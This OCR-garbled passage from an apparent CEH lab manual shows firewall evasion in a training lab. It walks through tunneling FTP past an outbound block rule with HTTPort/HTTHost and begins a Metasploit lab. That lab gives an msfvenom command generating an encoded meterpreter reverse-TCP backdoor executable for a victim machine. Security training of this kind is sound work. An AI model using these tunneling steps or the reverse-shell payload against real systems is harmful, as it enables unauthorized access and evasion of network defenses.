You can dhose this wizard without interrupting running tasks. View task progress or open this
page again by cicking Notifications in the command bar, and then Task Details.

Expart configuration settings

< Previous Next > Cancel

FIGURE 5.11: Selected roles being installed
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(J HTTPort
creates a

tunnel through a
proxy server or
firewall. This
allows you to use
all sorts of
Internet software
from behind the

Hrask 2

Stop World Wide
Web Publishing
Service

T e

Module 12 - Evading IDS, Firewalls, and Honeypots

12. On completion of installation, you will be redirected to the Results pane.
Click Close.

DESTINATION SERVER

Installation progress WIN-OIAQTQUERA CEH com

View installation progress

© Festure installation

Installation suc jod on WIN-OJAQ7QIBPALCEH com.

Management OData IS Extension
Web Server (1IS)

>

FIP Extensibility
Management Tools
1S 6 Management Compatibility
1IS 6 Scripting Tools
1IS 6 WMI Compatibility
Management Service
1S Management Scripts and Tools
Wiak Carar b

You can close this wizard without interrupting running tasks. View task progress or open this
a page again by clicking Notifications in the command bar, and then Task Details,

Export configuration settings

i

< Previous Next >

FIGURE 5.12: Installatx 1l leted

13. Close the Server Manage window.

14. Now, you need to stop IS Admin Service and World Wide Web Publishing
services.

15. Click Start, and navigate to Administrative Tools - Services.

Shercut Tools

Home  Share Vi

rznage

 [& « Al Control Panel ltems » Administratrve Tools »

o Favite: st S s S T
N Dackp w3 Group Poiicy Management Shortcut Kb
# Deanloads 9 Internet informaticn Services (15) 50 Ma... Shoreut 2K
& Recent places W3 Intesnet information Services (15) Manager Shoitcat 8
f&h, iSCS! Initistor Shertcut 2KB
% ThizPC Pa Locat Security Policy Shotcat X6
{25 ODBC Dats Scurces (32-kit) Shertcut 2KD

S Netware 7% ODEC Data Sources (64-bit} Shorteut re |
(£) Perfermance Menitor Shertcut 2KD
%) Resource Monitor Shertcat Ik
(# Security Configurstion Wizard Shoreut KD
i Server Manager 3 311:5 Shor cul ki

2/ Serices BZ1/2013 1154PM  Shoteut 2¥8)

System Configuration Shortcut YKB

[l System Informetion Shortcut KR m

() Task Schedules
[ Viindows Firewiall with Advenced Security
[l Vindows Memory Disgrostic
(EF Viindows PowerShell (x05)
¥ Vindows PowerShell ISE (36)
(£ Windows PowerShell ISE
T iindows Server Backup
3 items 1 fem selected 113 KB

AM  Shomcut
5PM

3 tcat

PM  Shortcut
31A3PM  Shotcat

FIGURE 5.13: Launching Services
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Hrask 3

Launch and
Configure
HTTHost

Module 12 - Evading IDS, Firewalls, and Honeypots

16. Right-click World Wide Web Publishing Service, and click Stop.

File Acton View Help
e EEaE
~ Services (Local)

HmE »enwp

Statup Type  Log ~
Manual (Trig.. Loc

World Wide Web Publishing Service Name Description Stetus
« Windowss Driver Foundation... Creates and...

Stop the senvice 3 Windows Encryption Provid... WindowsE.. Manuel (Trig..  Loc
Eestart the service i Vindows Enror Reporting Se... Allows error... Menuel (Trig.. Loc
S Windows Event Collector  This sevice - Manuel Net
Description: % Windows Event Log This service . Running  Automatic Loc
Provides Web connectivity and 2 Windows Firewall Vindows Fi.  Running  Automatic Loc
ik gt e :::g':f’““ ; Wiindows Font Cache Service  Optimizesp.. Running  Automatic Lo
% Viindoves installer Adds, modi... Manual Loc
< Windows Management Inst... Provides ac.. Running  Automatic Loc
" Windows Modules Installer [ Manual Loc
L Windows ion Fou. | Manual Loc
24 Windows Process Activatio... Manual Loc
“4 Windowrs Remote Manage... Pouse |Automatic  Ner
i, Windews Store Service (WS... Resume | Manual (Tg... Loc
“) Windewes Time Restart | Automatic (T Lac
L Windows Update | Manual (Trg... Loc
All Tasks
2L Winb{TTP Web Proxy Auto-... | Manual Loc
% Wired AutoConfig Refresh | Manus! Loc.
4, WM Performance Adepter Propertics | Manuel Loc ﬂ
i Workstation | Automatic et

Automatic Loc e

 Edended / Standard /
[5top service World Wide Web Publishing Senvice on Local Computes

FIGURE 5.14: Stopping Workl Wile Web Publishing Service in Windows Server 2012
17. In the same way, right-click 11S Admin Service, and click Stop.

18. Open Mapped Network Drive and navigate to Z:ACEH-Tools\CEHv10
Module 12 Evading IDS, Firewalls, and Honeypots\HTTP Tunneling
Tools\HTTHost.

19. Open the HTTHost folder, and double-click htthost.exe.
20. If the Open File - Security Warning pop-up appears, click Run.
21. A HTTHost wizard appears; click Options tab.

22. On the Options tab, type 90 in the Port: field under Network section keep
the other settings to default except for Personal password, which should
contain any other password. In this lab, the Personal password is “magic.”

Note: Typically, HT'TP tunneling should be performed using port 80. As port
80 is being used to host the local websites, therefore we have used port 90 for
this lab.
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77 To set up
HTTPort you need
to point your
browser to
127.0.0.1

“7HTTPort goes
with the

mapping
"External HTTP

proxy” of local

Module 12 - Evading IDS, Firewalls, and Honeypots

23. Check Revalidate DNS names and Log connections, and click Apply.

— Network
Bind listening to: Port: Bind external to:

|o.0.0.0 I9o I jo.0.0.0

Allow acces{lfrom: Personal password:

[~ Passthrough unrecognized requests to:

Host name or IP: Port: Original IP header field:
[127.0.0.1 je1 |%-Original-1P
Max, local buffer: Timeouts:

|256K x| fouiz v

[V Revalidate DNS names

v Log connections

Lstatlsticsl Application log | options | Security | Send a aift |

FIGURE 5.15: HTTHost Options tab

24, Check to see if the last line is Listener: listening at 0.0.0.0:90, which ensures
that HT'THost is running propetly and has begun to listen on port 90.

Application log:

MAIN: HTTHOST 1,8,5 PERSONAL GIFTWARE DEMO starting A
MAIN: Project codenarme: 99 red balloons

MAIN: Written by Dmitry Dvoinikov

MAIN: (c) 1999-2004, Drmitry Dvoinikov

MAIN: 64 total available connection(s)

MAIN: network started

MAIN: RSA keys initialized

MAIN: loading security filters..,

MAIN: loaded filter "grant.dll" (allows all connections withir
MAIN: loaded filter "block.dll" (denies all connections withi
MAIN: done, total 2 filter(s) loaded

MAIN: using transfer encoding: PrimeScrambleré4/SevenT
grant.dll: filters conections

[ LISTENER: listening at 0.0.0.0:90 |

Statisticsl Application log IOptions I Security I Send a Gift]

FIGURE. 5.16: H'I'T'Host Application log section
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Enable Firewall
and Add an
Outbound Rule

Module 12 - Evading IDS, Firewalls, and Honeypots

25. Now, leave HTTHost intact, and don’t turn off the Windows Server 2012

virtual machine.

26. Now, switch to (Windows Server 2016), right-click the Windows icon, and

click Control Panel.

Programs and Features
Power Options

Event Viewer

System

Device Manager

Network Connections

Disk Management

Computer Management
Command Prompt

Command Prompt (Admin)

Task Manager
Control Panel
File Explorer
Search

Run

Shut down or sign out

Desktop

FIGURE 5.17: Launmching Control Pand

27. 'The Control Panel window appears with all control panel items displayed.
Select Windows Firewall.

| e S A |
B+ Conret Panel + &8 Contret Pasel e
8 a )
B 0e A o P
@ o "
) ¢ ™Y v
e s 0w
ar. g &
@ e 9 e % e i
“ ech e ® 1
. ot 0 Spte ~ o
e & " d

FIGURE 5.18: Opening Windows Firewall
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demonstrated in
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Module 12
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Module 12 - Evading IDS, Firewalls, and Honeypots

28. The Windows Firewall control panel appears; click Turn Windows Firewall

on or off link in the left pane.

© 4 @ ContalPanel + AR Control Panel e + Windows Frowsl ve

PRI Help protect your PC with Windows Firewall

Windows Frewal can hep prevent hackers or macious software from gaming access 19 your PC through the
Adem wapp orbeatre temet ¢ g netmert.
Pt W beemed

Usdate rous Fremed emtings

WVindows Fremel 2 ot wng the recommended Use recommended settings
1eAg 10 protect your comguter ®
Whse e the secommended semngs:

FIGURE 5.19: Configuring Windows Firewall
29. The Customize Settings window appears.

30. Select Turn on Windows Firewall (under Private network settings and

Public network settings).
31. Click oK.
| ZEm—pee -
- 2+ @ ComniPaned + ANContnt Panei Rems + Windows Famnel + Cumtome Semtnge vd »

Customize settings for each type of network
Vo 4 ey e bl Lettings for 00ch type of metaerk that o it

Peee gy oy

) Whoch a8 incommen commectons, imchaling st m the kot of sbomed spps
() Moty me whan Wb Firmmst biocks & mew 2pp

. O Turm o Windon Formall (nit rocommmanded)

Padis rmazny o

B0t 08 g ommechtms. kg st o W bt of s appn
() Mooty me when Windows Fummsl blocks & aew g9

. | Tarm o Aot § ol (ot o st |

FIGURE. 5.20: Configuring Windows Firewall

32. Firewall is successfully turned on. Now, click Advanced settings in the left

pane.

5 - 1 @ ControlPanel + AN Control Panelltems » Windows Firewall v

vIvy SN Help protect your PC with Windows Firewall

¥ maicious ghining access 10 your PC theough the
Aliow an app ot festure Imternet or 8 retwork
though Windows Fewal
Crngenticion sy [ @ private networks Not connected
Turn Windows Frrewsll on or
o B D Guestor pubic networks Connected

Restore defauty
Rrtwerts n pubine places tuch ot auports e coffee theps

FIGURE 521: Configuring Advanced Windows Firewall
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H'T'IPort doesn't really
care for the proxy as such;
it works perfectly with

Module 12 - Evading IDS, Firewalls, and Honeypots

33, The Windows Firewall with Advanced Security window appeats.

34. Sclect Outbound Rules in the left pane. A list of outbound rules is displayed.
Click New Rule... in the right pane (under Outbound Rules).
s —

Fde Acton Veew Help
S ams Bm

P s

Nome ? Group Profle  frabled  Acion  (~
ennacton Securty Rues | @ Alloyn Revter (TCP-Out) Aliogm Roter Domsi Ves dlow M

) %5 Monitonng QMMWM Alioyn Router Domai. Ve Allow »
) Block network access for R local wrer acc.. Ve Bock M

Ho Alow P

k D

BranchCache Content Retrevsl (HTTP-O.

FIGURE 5.22: Adding a new outbound mle
35. In the New Outbound Rule Wizard, sclect Port as the Rule Type, and click

firewalls, transparent Nex
accelerators, NATs and t.
basically anything thatlets .
HI'IP protocol through. ‘ New Outbound Rule Wizard X
Rule Type
the type of firewall ruie to create
} Rule Type Wht type of rde woudd you lice to craate?
B Protocol and Potts
® Acton O Program
® Profile Rule that controle connections for a program.
o Name
Rude that controls connections for 3 TCP or UDP port.
() Predefined:
Alloyn Router
Rue that controls ions for a Windows
(O Custom
Custom rule.
o o
FIGURE 5.23: Windows Firewall Selecting a Rule Type
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36. Select All remote ports, under Protocol and Ports, and click Next.

@ New Outbound Rule Wizard X

Protocol and Ports
the protocols and ports to which this rule applies,

Does this nde apply 1o TCP or UDP?

$ Fule Type

b Protocoland Fots @® Tcp
w Action O uop
» FProfle

» Name

Does ths e apply to al remote pors or speciic remote ports?

() Specific remote ports:
Example: 80. 443, 5000-5010

[ <Rk [ Corce
FIGURE 524 Windows Firewall assigning Protocols and Ports
37. Under Action, Block the connection is sclected by default. Click Next.

New Outbound Rule Wizard X

on
ecify the action to be taken when a connection matches the conditione gpecified in the nile.

b Rule Type What action should be taken when a connection matches tha spectied condtione?
P Frotocol and Ports
b () Allow the connection
. ] This ncludes connections that are protected with IPsec s well a3 thoee are not.
B You need to install b Profie
htthost ona PC, that is S () Allow the connection if it is secure
This t wsing [Psec, C:

generally accessible on the
Internet - typically your
"home" PC. This means
that if you started a
websetver on the home PC,
everyone else must be able
1o connect 1o it. Thete are
two showstoppers for
htthost on home PCs.

is ncludes only been £ ¥
wil be secured using the seftings in IPsec properties and nies in the Connection
Fule node

Cumomze:

@ Block the connection

FIGURE 5.25: Windows Firewall setting an Action
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38. In the Profile section, ensure that all the options (Domain, Private and
Public) are checked, and click Next.

New Outbound Rule Wizard x
Profile
the profles for which this re apples
1 NATfirewall
b Rue Type When does this e apply?
issues: You need i
to enable an e 2 Domain
incoming port. For L Profie Apphes when & computer is connected 10 &3 comorte doman
HTThost it will P Name Private
typleally be mmnm-mdlonmnmm.m-um
80(http [ Public
;";M Fophes when a computer is connected 1o 8 public network location.
443(https)
any port can be
used - IF the
HTTP proxy at
work supports it -
some proxys are
configured to
allow only 80 and
443.
o e

FIGURE 526 Windows Firewall Profike settings
39. Under Name, type Port 21 Blocked in the Name field, and click Finish.

WP New Outbound Rule Wizard x
Nome
the name and description of thia ne
B Fue Type
I Protocol and Ports
o Acten
b Protie Name:
Yo
Descrigton (optional)
(3 'The default TCP port
for FTP connection is port
21. Sometimes the local
Internet Service Provider
blocks this port and this
will result in FI'P
connection issues.
o [
FIGURE 5.27: Windows Firewall assigning a name to Port
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77HTTPort doesn't really 40. The new rule Port 21 Blocked is created, as shown in the screenshot:
care for the proxy as such:
it works perfectly with i
firewalls, transparent
accelerators, NATs and * 2m = 8m
bascally anything that s [ oot oo s
the H'I'I'P protocol EE Name Cocun Profde  Grabled  Actien
through. Connectan Securty Rudes ||
> B Monttong Aleyn o9 Ow) Alipyn Ver yury
© Aoy Router (VOP-Ov8) e Oomei You Aom
L Al s Ty
FIGURE 528: Windows Firewall New nle
41. Right-click the newly created rule (Port 21 Blocked), and click Properties.
- B
e Acion Veew Melp
|z 8
Windoms Fuewsll with Advance Actioms
:e"“‘""‘" [ Profie  Enodled  Action ¢ ||
B Conmactan securty ites | R 0 M | e fue
5 B Montonng @ Alboyn Router (1CP-Out) Aoyn Bouter Ahow " T Filtar by Pretie »
© Aioyn Router (VOP-Owt) Aoy Router e Alow P
5 Mock network access for R ocal vier occ Copy sock  H(|T e by S L/
BeanchCache Contert Retvievsl (NTTP.0. BranchCocne - Comer Detete Mow 1 |['W e by Group »
BeanchCache Hosted Cache Chaot (TT... BranchCacne - Host posd Ao P View .
TP BranchCache Hosted Cache ServerMTTP... BranchCatne - Homeduu iopetet ] aiow
{n HETPott then E:K:NMM:WW-W! SnihCome- Pou X Adow V(| SR Rolresh
pts that —.. )
and runs it through a

tunnel through the proxy.

777 With H'I'I Port, you
can use various Internet
software from behind the
proxy, ¢.g., e-mail, instant
messengers, P2P file
sharing, 1CQ, News, FTP,
IRC ete. 'The basic idea is
that you set up your
Internet software.

FIGURE 5.29: Windows Fircwall new rule propertics
42. 'The Properties window for Port 21 Blocked rule appears.

43, Select the Protocols and Ports tab. In the Remote port: field, sclect Specific
Ports option from the drop-down list, and enter the port number as 21.

44. Teave the other default settings, click Apply, and then click OK.

rPon 21 Blocked Properties X
e Programs and Services Remote Computers
Protocols and Ports Scope Advanced Local Prncipals
Protocols and ports
s Protocoltype TcP v
Protocol number: 63
Local pott Al Ports v
Example: 80, 443, 5000-5010
Remote port: Specfic Ports v
Example; 80. 443, 5000-5010
Intemet Control Message Protocol Custormize
(ICMP) settings:

[5] o= [

FIGURE 530+ Fitewall Port 21 Blocked Properties
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Meodule 12 - Evading IDS, Firewalls, and Honeypots

45. Disable the rule, and check if you are able to connect to the ftp site.
46. Right-click the newly added rule, and click Disable Rule.

Hrask s

Test for
p Winowr Tremsl wih Rdvanced Socury S e |
Accessing FTP o Acien View Mg
Site b
(~ | Outhound Rules .J
Securty Rutes | C 8 New Rule
T Filver by Profie

Debete
Properties

Help

FIGURE 5.31: Disabling the outbound ruk:

47. Launch the command prompt, and issue ftp 10.10.10.10. You will be asked
to enter the username.

W Admenistrator Command Prompt - fip 10.10.10.10 - =] '8 |

FIGURE 5.32: Issuing FTP command

B abies o 60 Bypaid Note: In the above mentioned command, 10.10.10.10 refers to the IP address
yout HTTP proxy in casc it of the Windows 10 whete the fip site is located. Make sute that you issue the IP
Dlocks) you, Bont: ide address of Windows 10 in your lab environment.

Internet,
48. 'This means you ate able to establish an FIP connection.
49. Now, enable the rule, and check to see whether you can establish a
connection.
50. Right-click the newly added rule, and click Enable Rule.
PP rTe oot o Kavanced Cacunty S e & |
FIGURE 533 Enabling the outbound ruke
51. Launch the Command Prompt and check whether you are able to connect to
the fip site by issuing the command ftp 10.10.10.10.
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Module 12 - Evading IDS, Firewalls, and Honeypots

52. The added outbound rule should block the connection shown in the
screenshot:

W Adenanistrator: Command Promgt - ftp 10.10.10.1 0

FIGURE 5.34: Issuing FTP command

Note: In the above-mentioned command, 10.10.10.10 refers to the IP address
of Windows 10 where the ftp site is located. Make sure that you issue the IP
address of Windows 10 in your lab environment.

53. Now, we shall perform tunneling using HTTPort to establish a connection
with the FTP site located on Windows 10.

54, Navigatc to Z:\CEH-Tools\CEHv10 Module 12 Evading IDS, Firewalls, and
Honeypots\HTTP  Tunneling Tools\HTTPort, and double<lick
httport3snfm.exe.

55. If Open File - Security Warning pop-up appears, click Run.
56. Follow the installation steps to install HT'TPort.

= X
Welcome to the HTTPort Setup
Wizard
This will install HTTPort 3.SNFM on your computer.
It is recommended that you close all other applications before
F~7ZACEH- continuing
Tools\CEHV10 Click Next to continue, or Cancel to exit Setup
Module 12
Evading IDS,
Firewalls, and
Honeypots
=
FIGURE 5.35: HI"I Port Sctup wizard
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Hrask s

Perform HTTP
Tunneling

£ HTTHost supports the
registration, but it is free
and password-free - you
will be issued a unique 1D,
rich you can contact
the support team and ask
your questions.

Module 12 - Evading IDS, Firewalls, and Honeypots

57. Launch HTTPort (Httport3SNFM) from the Start menu.

Notepad Windows Server

Snipping Tool
& %
L =2
L Windows

Acrobat Reader DC PowerShell ISE

Excel 2016 g g

Windows
Administrativ... Control Panel

3 B
il
Remote
HTTPort 3SNFM 5 Event Viewer File Explorer

Google Chrome

HTTPort 3.SNFM
N

[T ——

Microsoft Offic 16 Teols

Microsoft SQL Server 2017

o € m % m

FIGURE 536: Windows Server 2012 Apps screen

58. An Introduction to HTTPort wizard appears; click Next five times, till you
come to the last wizard pane, and then click Close.

Basic facts
Stay secure

About

What you can do

Any questions ?

Introduction to HTTPort

Introduction

Welcome to HTTPort !
This is a brief introduction to what HTTPort is.

Use Prev and Next buttons to browse all pages.

FIGURE 5.37: Introdluction to H'I'IPort wizard
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[ For each software to
create custom, given all the
addresses from which it
operates. For applications
that are dynamically
changing the ports there is
Socks4-proxy mode, in
which the software will
create a local server Socks
(127.0.0.1).

In real world environment,
people sometimes use
password protected proxy
1o enable company
employees to access the
Internet,

Module 12 - Evading IDS, Firewalls, and Honeypots

59. The HTTPort mainwindow (HTTPort 3.SNFM) appears, as shown in

the screenshot:

fa HTTPort 3.5NFM - X

HTTP proxy to bypass (blank = direct or firewall)
Host name or IP address: Port:

I lo

[~ Proxy requires authentication

Username: Password:

[~ Misc. options

Bypass mode:

L] lAuto L]

User-Agent:
IE 6.0

Use personal remote host at (blank = use public) -

Host name or IP address: Port: Password:

I Jo I

_?I €—This button helps

Start I

FIGURE 5.38: HTTPort Main Window

60. On the Proxy tab, enter the Host name or IP address (10.10.10.12) of the

machine where HT Thost is running (Windows Server 2012).

Note: The location of the Windows Server 2012 may vary in your lab

environment.

61. Enter the Port number 90.

62. Under Misc.options, Bypass mode, sclect Remote host from the drop-

down list.

63. Under Use personal remote host at (blank = use public), re-enter the IP
address of Windows Server 2012 (10.10.10.12) and port number 90.
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Module 12 - Evading IDS, Firewalls, and Honeypots

64. Enter the password magic in the Password field.
& HTTPort 3.SNFM - X

Systern Proxy lPort mapping I Aboutl Registcrl

~ HTTP proxy to bypass (blank = direct or firewall) ——

Host name or IP address: Port:
10.10.10.12 90

[~ Proxy requires authentication
Username: Password:

I I

~ Misc, options

User-Agent: Bypass mode:

|1IE 6.0 »| |remote host |

~ Use personal remote host at (blank = use public) —

Host name or IP address: Port: Password:
10.10,10.12 ||90 | '*****l ]
? |€—This button helps Start I

FIGURE 539: HTTPon Proxy settings window

65. Select the Port mapping tab, and click Add to create a new mapping.

{fa HTTPort 3.5NFM - X

System | Proxy | Port mapping | About | Register |
[~ Static TCP/IP port mappings (tunnels)
& Yahoo! SMTP | Add |

Yahoo! POP3
External HTTP proxy (sample) Remove |

#- Microsoft Nevs server
[#- IRC server (sample)

(L H'T'IP is the basis for
Web surfing, so if you can
freely surf the Web from
where you are, HI'IPort

will bting you the fest of Select a mapping to see statistics: LEDs:
the Internet applications. No stats - inactive oooo
n/a x n/a B/sec nfa K O Proxy

[~ Built-in SOCKS4 server
[V Run SOCKS server (port 1080)
Avazilable in "Remote Host" mode:
[ Full SOCKS4 support (BIND)

€—This button helps

FIGURE 5.40: FI"I Port creating a Now Mapping
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7Tools
demonstrated in
this lab are
available in
Z:\CEH-
Tools\CEHv10
Module 12
Evading 1DS,
Firewalls, and
Honeypots

= In this kind of
environment, the
federated search
web part of
Microsoft Search
Server 2008 will
not work out-of-
the-box because
we only support
non-password
protected proxy.

Module 12 - Evading IDS, Firewalls, and Honeypots

66. Right-click the New mapping node, and click Edit.

la HTTPort 3.5NFM — X
Systeml Proxy Port mapping IAbout' Registerl

Static TCP/IP port mappings (tunnels)

[F- Local p Edit
L O Remove I

E] Remote host
¢ ‘.remote.host.name
[=]- Remote port

0
v
Select a mapping to see statistics: LEDs:
No stats - inactive ' oooo
nfax n/aB/sec n/a K O Proxy

— Built-in SOCKS4 server
[V Run SOCKS server (port 1080)

Available in "Remote Host" mode:
[~ Full SOCKS4 support (BIND)

_?] €—This button helps

FIGURE 5.41: HT'TPort Editing to assign a mapping
67. Rename this as ftp test (you can enter the name of your choice).

68. Right-click the node below Local port, then click Edit, and enter the port
value as 21.

69. Right-click the node below Remote host, click Edit, and rename it as
10.10.10.10.
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Module 12 - Evading IDS, Firewalls, and Honeypots
70. Right-click the node below Remote port, then click Edit, and enter the port
value as 21.

Note: 10.10.10.10 specified in Remote host node is the IP address of the
Windows 10 machine that is hosting the FTP site.

fla HTTPort 3.5NFM

= X
Systeml Proxy Port mapping IAboutI Registerl

— Static TCP/IP port mappings (tunnels)

[=- ftp test ~ Add
[=- Local port

i bipg Remove I
E] Remote host

i $-10.10.10.10
[£- Remote port

(D 1

v

Select a mapping to see statistics: LEDs:
No stats - inactive ooog
n/ax n/a B/sec nfa K O Proxy

— Built-in SOCKS4 server
[V Run SOCKS server (port 1080)

Available in "Remote Host" mode:
[~ Full SOCKS4 support (BIND)

_?l €—This button helps

FIGURE 542 HTTPort Static TCP/IP port mapping
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71. Switch to the Proxy tab, and click Start to begin the HTTP tunneling,

fla HTTPOrt 3.5NFM = ;
Sn,-stern Port mapping I About | Register ]
HTTP proxy to bypass (blank = direct or firewall)

Host name or IP address: Port:
[10.10.10.12 [s0

[~ Proxy requires authentication

Username! Password:

I

Misc, options

B 'To make a data tunnel J’h,,l
through the password tsar-Agent: Eypassmog
protected proxy, so we can ]IE 6.0 :J |Remote host Lj

map external website to
local port,and federate the

search result. Use personal remote host at (blank = use public)
Host name or IP address: Port: Password:
[10.10.10.12 [s0 [reornn

? I%This button helps

FIGURE 543 HTTPort to start tunneling

72. HTTPort intercepts the ftp request to the local host and tunnels through it.
HTTHost is installed in the remote machine to connect you to 10.10.10.10.

73. This means you may not access fip site directly by issuing ftp 10.10.10.10 in
the command prompt, but you will be able to access it through the local host
by issuing the command ftp 127.0.0.1.

74. Taunch Command Prompt and type ftp 10.10.10.10. Press Enter. The ftp
connection will be blocked by the outbound firewall rule.

vitiaton Command Prompt - ftp 10.10.10.10 o X

FIGURE 5.44: fip connection is blocked

75. Now launch a new Command Prompt, type ftp 127.0.0.1 and press Enter.

QT TPort docs neither You should be able to connect to the site.
freeze nor hang. What you
1:;,;:;::ﬂ':;il:li':““ Note: If you issue this command without starting HTTPort, the connection to
FTP site fails, stating that the FTP connection is refused.
B Sciect Ademanistrator Command Prompt - ftp 127.0.0,1 (a) v |

FIGURE 5.45: Executing fip command
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Module 12 - Evading IDS, Firewalls, and Honeypots

7~ HI'TPort makes it 76. Enter the credentials of any user account of Windows 10. In this lab, we are
possible o open a client using the credentials of the Jason account (username : Jason; Password:

side of a TCP/IP
connection and provide it

qwerty). Type the username (Jason) and press Enter.

to any software. The - .
keywords here are: "client” Note: The password you enter won’t be visible.

and "any software." : |
B8 Administrator: Command Promgpt - ftp 127.0.0.1 - 0 X

FIGURE 5.46: Signing into the FI'Psite

77. You are successfully logged in, even after adding a firewall outbound rule
inferring that a tunnel has been established by HTTPort and HTTHost,
bypassing the firewall.

78. Now you have access to add files in the ftp directory located in the Windows
10 virtual machine.

79. Type mkdir Test and press Enter.

FIGURE 547 Creating a Directory

80. A directory named Test will be created in the FTP folder on the Windows 10
(location: CAFTP) virtual machine, as shown in the screenshot:

FIGURE 5.48: New directory areated

81. 'Thus, you are able to bypass HTTP proxies as well as firewalls, and thereby
access files beyond them.

Note: On completion of the lab, delete the created outbound rule, stop HttHost
and HTTPort and disable the firewall (which was enabled in the beginning of the
lab) in the machine (i.e., Windows Server 2016), and start the World Wide Web
Publishing Service on the Windows Server 2012 virtual machine.
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Module 12 - Evading IDS, Firewalls, and Honeypots

Lab Analysis
Document all the IP addresses, open ports and running applications, and protocols
you discovered during the lab.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

[ Yes M No
Platform Supported
M Classroom M iLabs
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ICON KEY

"7 Valuable
information

# Test your
knowledge

B Web exercise

LL] Workbook review

Module 12 - Evading IDS, Firewalls, and Honeypots

Bypassing Windows Firewall using
Metasploit

Metasploit Framework is a tool for developing and executing exploit code against a
remote target machine.

Lab Scenario

Latge companies are common targets for hackers and attackers of all stripes, and
it is not uncommon for these companies to actively monitor traffic to and from
their critical IT infrastructure. Judging by the functionality of Trojans, we can
safely surmise that they are designed to open back doors on compromised
computers, allowing remote attackers to monitor activity and steal information.
Once installed inside a corporate network, the Trojan’s backdoor feature also
allows attackers to use the initially compromised computer as a springboard to
launch further forays into the rest of the infrastructure, resulting in the possible
theft of a wealth of information, which could be far greater than any that exists
on a single machine.

The basic principal of all malicious programs is that they require user support to
damage the initial computer. That is why Trojan hotses try to deceive users by
displaying some other form of email. Backdoor programs are used to gain
unauthorized access to systems, and backdoor software is used by hackers to gain
access to systems, so that they can send the malicious software to that particular
system.

Hackers/attackers infect target environments with customized Trojan horses
(backdoors) to determine exploitable holes in security systems. As a Security
Administrator of your organization, your job responsibilities include protecting
the network from Trojans and backdoors, Trojan attacks, the theft of valuable
data/identities, privilege escalation, persistent backdoors, and so on.
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Lab Objectives

The objective of this lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of this lab include:
= Creating a server and testing the network for attack

= Attacking a network using a sample backdoor and Bypassing the Firewall

Lab Environment
To complete this lab, you will need:
= A computer running Window Server 2016
= Kali Linux running in Virtual machine (Attacker machine)
=  Windows8running in virtual machine (Victim machine)
= A web browser with Internet access
= Administrative privileges to run tools
Lab Duration
Time: 20 Minutes
Overview of Trojans and Backdoors
A Trojan is a program that contains a malicious or harmful code inside apparently

harmless programming or data so that it can obtain control of a computer or
system and cause damage, such as ruining file allocation tables on a hard dfive.

Lab Tasks

FRBNR 3 1. Before running this lab, log into Windows Server 2012 and turn ON
Windows Firewall.

Tum On Windows [ gy =T

firewall © TS (0« Al Control Panel ltems » Windows Firewall v °| [ Sesrets Cantrol Panel 2|

Controt Pood Home Help protect your PC with Windows Firewall

Windows Firewall can help prevent hackers or malicious software from gaining access to your PC

Allow an app or festure through the Intemet or 3 network.
through Windows Firewall
¥ Change notification settings 0 Domain networks Connected @
v Turn Windows Firewall on or
off Networks at 2 workplace that are attached to a domain
A Restengdefanlts Windows Firewall states on
Advanced sett
w i e Incoming connections: Block all connections to apps that are not on the
Troubleshoot my network list of allowed apps
Active domain networks: e ceHcom
Notification state: Do not notify me when Windows Firewall blocks a
new app

FIGURE 6.1: Turning on Windows Firewall
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2. Turning on Windows Firewall ensures that the computer is secure.

3. Now, go to Start > Administrative Tools = Windows Firewall with
Advanced Security. Windows Firewall with Advanced Security
window appeats displaying the Firewall state in all the profiles as shown
in the screenshot:

IR Frrewal Wi AR aneed Sy TETE

File Action View el

ol 7 i
Windows Firewall vith Advanct [ e L Actions
Inbeurd Rules [ —————— e 3.
g c’ sbound Rules | Windows Firewall wit..
2 W A 202 5 sacutydze Wi = v ~
By Connection Securty Rules ‘ Winzows Frewel wef: Adyanzed Securty prowdes retwad: secuty for Winzos corpiters ) Import Posicy,
» B Monioring S| Drport Pokcy..
Overvien C Restore Default Policy

Domain Profile iz Active Diagnase / Repa

@ Wndows Frewsl s on.

View: »
® roourdos Sl
€ Oicunid corvrasiione fet 90 vt et s ke arw owodd ZEY
Prepertes
i e
Private Profi =

@ Windows Frewsl s o0,

0

© irbourd corectans that do nat meich 2 e e blocked,
@ Otouns conecscns thet do ot metch sinds are aliowed
Public Profila

@ Wodows Fewal oo,

© rbourd canractons that 2 not mizich 2 e e ozkad,

@ Ovbouns covnactons fum 6o ot match 8 ks sm Slowed

B Wriciom Frumad Frigitoss

Getting Started -
between

Creste connacion secuty rdes to 3pecty hom and when Zonnections betwesn Computens e auherlicatad 2ne
| prtacad by usg irarm Froocal sty (Peac) Ll

FIGURE 6.2: Viewing Advanced Firewall Settings
4. Close the window.
Now, you will need to bypass this Firewall and launch a meterpreter

session. Once launched, you will be shown how to disable a Firewall on
the target machine through meterpreter shell.

B rask 2 6. Log into the Kali Linux virtual machine.
Logon to Kali 7. Type root in the Username text field, and click Next.
Linux

FIGURE 6.3: Entering Username
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8. Type toor in the Password text field, and click Unlock.

FIGURE 6.4: Entering Password

9. Click the Terminal icon from the taskbar.
H rask 3

Applications « Places «
Stop PostgreSQL s
and Metasploit
Services
Terminal
FIGURE 6.5: Launching Command Line T'erminal
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10. Type the command msfvenom -p windows/meterpreter/reverse_tcp --
platform windows -a x86 -e x86/shikata ganai -b "x00"
LHOST=10.10.10.11 -f exe > Desktop/Backdoor.exe in terminal
window and press Enter.

Note: 10.10.10.11 is the IP address of Kali Linux, which might differ in your
lab environment.

metasploit
Framework, a tool
for developing and
executing exploit
code against a
remote target
machine.

H rask a4

Sharing
Backdoor.exe File

L) To cratenew directory
share following command is
used :mbkdir
fvar/www/html/ share.

root@kali: ~ (OB - )

File Edit View Search Terminal Help

# mstvenom -p wi e ete e tc platform windows -a x&
e x86/shikata ga nai -b * * LHOST=10.10.10.11 xe > Desktop/Backdoor.exe
ound 1 compatib encode
Attempting to encode payload with 1 iterations of x86/shikata ga nai
shikata ga nai succeeded with 360 (iteratio )
/shikata ga nai chosen with final size 360

e: 360 bytes
e of exe file: 73802 bytes
#1

FIGURE 6.6: Creating Backdoor.exe

11. The above command creates a Windows executable file named
"Backdoor.exe," which will be saved on the Kali Linux Desktop.

Applications « Places

Backdoor.
exe

FIGURE 6.7: Created Backdoor.exe file

12. Now, you need to share Backdoor.exe with the victim machine (in this
lab, the Windows Server 2012)

13. Open a new command-line terminal, type mkdir /variwww/html/share
and press Enter to create a new ditectory named “share.”

